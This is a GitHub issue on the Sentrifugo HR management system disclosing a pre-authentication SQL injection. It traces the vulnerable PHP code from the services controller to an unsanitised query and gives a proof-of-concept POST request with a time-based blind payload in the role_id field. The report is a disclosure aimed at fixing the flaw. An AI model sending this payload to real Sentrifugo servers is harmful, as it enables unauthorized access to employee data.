sapplica / sentrifugo

Sentrifugo is a FREE and powerful Human Resource Management System (HRMS) that can be easily configured to meet your organizational needs.
http://www.sentrifugo.com/
GNU General Public License v3.0
484 stars 426 forks source link

Pre-authenticated SQL injection #383

Open nhienit2010 opened 1 year ago

nhienit2010 commented 1 year ago

Bug: Pre-authenticated SQL injection

Description

In the Privileges::getObjPrivileges function, there is a SQL injection vulnerability due to not sanitizing the input data (groupId and role_id variables) leading to the attacker being able to manipulate the query, and especially the attacker can access this function without authentication through ServicesController.

Vulnerability Detail

The vulnerable code occurs at /application/modules/default/models/Privileges.php#Line65, the attacker can control the variable role_id and this variable is inserted directly into the query.

/* /application/modules/default/models/Privileges.php */
public function getObjPrivileges($objId,$groupId = "",$role_id,$idCsv=0)
    {
        $privilege_arr=array();
        $db = Zend_Db_Table::getDefaultAdapter();
        if($objId !="" && $role_id != "" && $idCsv == 0)
        {
            $query = "select addpermission,editpermission,deletepermission,viewpermission,uploadattachments,viewattachments,isactive from main_privileges where isactive = 1  and object =".$objId." and role =".$role_id;
            $result = $db->query($query);
            $privilege_arr = $result->fetch();

        }
  ...

to reach to vulnerable code, we can leverage ServicesController to perform getAction

/* /application/modules/services/controllers/IndexController.php */
public function getAction() 
    {
            $paramsarray = $this->getRequest ()->getParams();
        //echo "<pre>";print_r($paramsarray);exit;
        $servicetocall = $paramsarray['service'];

        if (isset($paramsarray['service']) && $paramsarray['service'] != '') 
        {
            //$servicesModel = new Services_Model_Services();
            $result = $this->$servicetocall($paramsarray);
            //$result = $servicesModel->$servicetocall($paramsarray);
            $this->getResponse ()->setHttpResponseCode ( 200 );
        }           
        else 
        {
            $result= new sapp_ErrorCode('no parameters!');
            //prevent the service is not found.
            $this->getResponse ()->setHttpResponseCode ( 200 );
        }
        //echo "<pre>";print_r($result);exit;   
        $this->_handleStruct( $result );

    }
...

take advantage of getAction to call any function available in the controller, here specifically we will call the leaverequest function to further call the sapp_Global::_check_menu_access function

/* /application/modules/services/controllers/IndexController.php */
public function leaverequest($params_arr)
        {
            $result = array();
            $status = 0;
            $message = "No data found.";
            $messagearray = array();

            if(isset($params_arr['role_id']) && $params_arr['role_id'] != '' && isset($params_arr['group_id']) && $params_arr['group_id'] != '')
            {
                $role_id = $params_arr['role_id'];
                $group_id = $params_arr['group_id'];

                $privilege_flag = sapp_Global::_check_menu_access(LEAVEREQUEST,$group_id,$role_id);
                if($privilege_flag == 'Yes')
                  ...

in the function _check_menu_access will directly call the function getObjPrivileges with the groupId and roleId parameters passed directly and manipulated by the attacker.

/* /application/modules/default/library/sapp/Global.php */ 
public static function _check_menu_access($objectId,$groupId='',$roleId)
        {            
            $privilege_model = new Default_Model_Privileges();
            $privilegesofObj = $privilege_model->getObjPrivileges($objectId,$groupId,$roleId);

Proof of concept

REQUEST:

POST /sentrifugo/index.php/services/index/get HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: PHPSESSID=4c6885df75ee21adc859130d344ad10e;

_method=get&service=leaverequest&role_id=if(1,sleep(1),0)&group_id=2

To demonstrate here we use a simple query that if the condition is true, the server will be delayed for some time, if the condition is false, it will receive an immediate response.

Screenshot 2023-03-08 at 11 46 22 image-20230308115021229

Solution

Acknowledgement

nhienit at bl4ckh0l3 from Galaxy One